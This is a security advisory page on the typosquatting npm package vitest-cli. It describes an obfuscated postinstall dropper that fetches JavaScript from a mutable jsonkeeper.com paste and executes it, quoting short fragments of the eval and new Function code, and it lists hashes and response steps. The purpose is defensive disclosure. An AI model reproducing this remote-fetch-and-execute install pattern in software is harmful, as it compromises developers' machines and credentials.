NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

vitest-clinpm

Advisory published Updated

vitest-cli is a confirmed malicious npm package (MAL-2026-6267) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.3, 1.0.4…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in vitest-cli (npm)

MAL-2026-6267
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vitest-cli

What this malware does

Package name vitest-cli impersonates the official Vitest project while declaring empty author, homepage, repository, and bugs metadata. The package.json declares scripts.postinstall: node scripts/postinstall.js, which auto-runs on every npm install. The postinstall reaches lib/postinstall/index.js line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via eval((function(p,a,c,k,e,d){...})(...)). Once decoded, the payload calls axios.get('https://jsonkeeper.com/external/W33XO') and executes the response's data.cookie field with new Function('require', r.data.cookie)(require), retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed vitest and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct new Function execution of the response body is an unambiguous supply-chain attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

5 flagged
1.0.01.0.31.0.41.0.71.0.9

Indicators of compromise (SHA-256)

27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba
6017b4312bda8bd777fb1eef29cc295a844f5a837def062e84f808053fee1f1a
737c0ff92560e5d8de4f76e066f3d632193e3b82acc6abd9788cb9821b1fd720
c44d72455b57ac4a093fd803c5973504e7ae3a904408990f821d2ea6c7b6c2cb
ec2320f1b6d467ce7ef129392a8a9a5861b44fb87cf672d95390a4eed090ef4b
965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for vitest-cli (5 malicious versions).

  2. If you installed it — respond

    vitest-cli is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If vitest-cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. vitest-cli on npm has been identified as a malicious package (versions 1.0.0, 1.0.3, 1.0.4, 1.0.7, 1.0.9 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007152IN-MAL-2026-007151IN-MAL-2026-007154IN-MAL-2026-007150IN-MAL-2026-007153GHSA-c35r-fwrq-cgq9

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks vitest-cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

vitest-cli (npm) malicious package — MAL-2026-6267 | O3 Security